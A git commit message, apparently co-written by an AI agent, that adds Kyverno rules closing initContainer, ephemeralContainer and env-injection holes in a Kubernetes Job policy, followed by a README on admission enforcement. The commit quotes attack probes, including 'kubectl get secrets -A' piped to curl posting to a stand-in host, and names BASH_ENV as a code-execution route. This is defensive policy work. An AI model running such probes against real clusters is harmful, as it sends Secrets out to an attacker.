jakman85andClaude Opus 5
f6e8fb1fee
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
In-cluster admission enforcement (scaffolding — Phase 2 / T-2.7)
Installs Kyverno and runs the same L0 policies as an in-cluster admission
controller, so a non-conforming resource that somehow bypassed CI still cannot be
admitted (defense in depth — docs/07, ADR-0011). Not applied in Phase 0 (no
cluster exists yet); this is scaffolding wired up in task T-2.7.
Enforcement COMPLEMENTS, never REPLACES, behavior tests
A policy admitting a manifest is not proof the runtime behaves (
docs/14principle 1, R-TEST-01). Kyverno confirms a resource is shaped correctly; it does not prove default-deny actually blocks a packet, that the VPN kill-switch fails closed, or that a PVC survives a rebuild. Those are proven only by the L2/L3 Chainsaw behavior and fault-injection tests (conformance/, ADR-0011), which remain mandatory. Admission is a gate, not a guarantee of behavior.
Authored once, shared
kustomization.yaml references the policy files in ../policies/ verbatim — the
identical objects the CI kyverno test gate validates — plus the Kyverno install.
No policy is forked between CI and admission, with one deliberate exception:
The one deliberate CI vs admission divergence — Secrets
../policies/disallow-plaintext-secrets.yaml (CI) requires a top-level sops block
on the Secret manifest. Flux decrypts SOPS before admission, so that block is
gone by the time the API server sees the Secret — the CI policy cannot run in-cluster.
The admission equivalent is secret-provenance.yaml, which enforces provenance
(Secret came from Flux / is an exempt controller Secret) instead of ciphertext. This
is escalated in the T-0.5 report because docs/07's literal wording ("reject a
plaintext Secret at admission") is not achievable post-decrypt.
Operational note (from ADR-0011)
Admission enforcement adds a failure mode: a bad policy can block legitimate
reconciliation. Mitigations: policies ship with their own kyverno test suite (this
directory's ../tests), roll out via GitOps, and the webhook failurePolicy: Fail
is chosen so the system fails closed (coordination-protocol.md #8) — validate for
bootstrap deadlocks in dev/test before prod.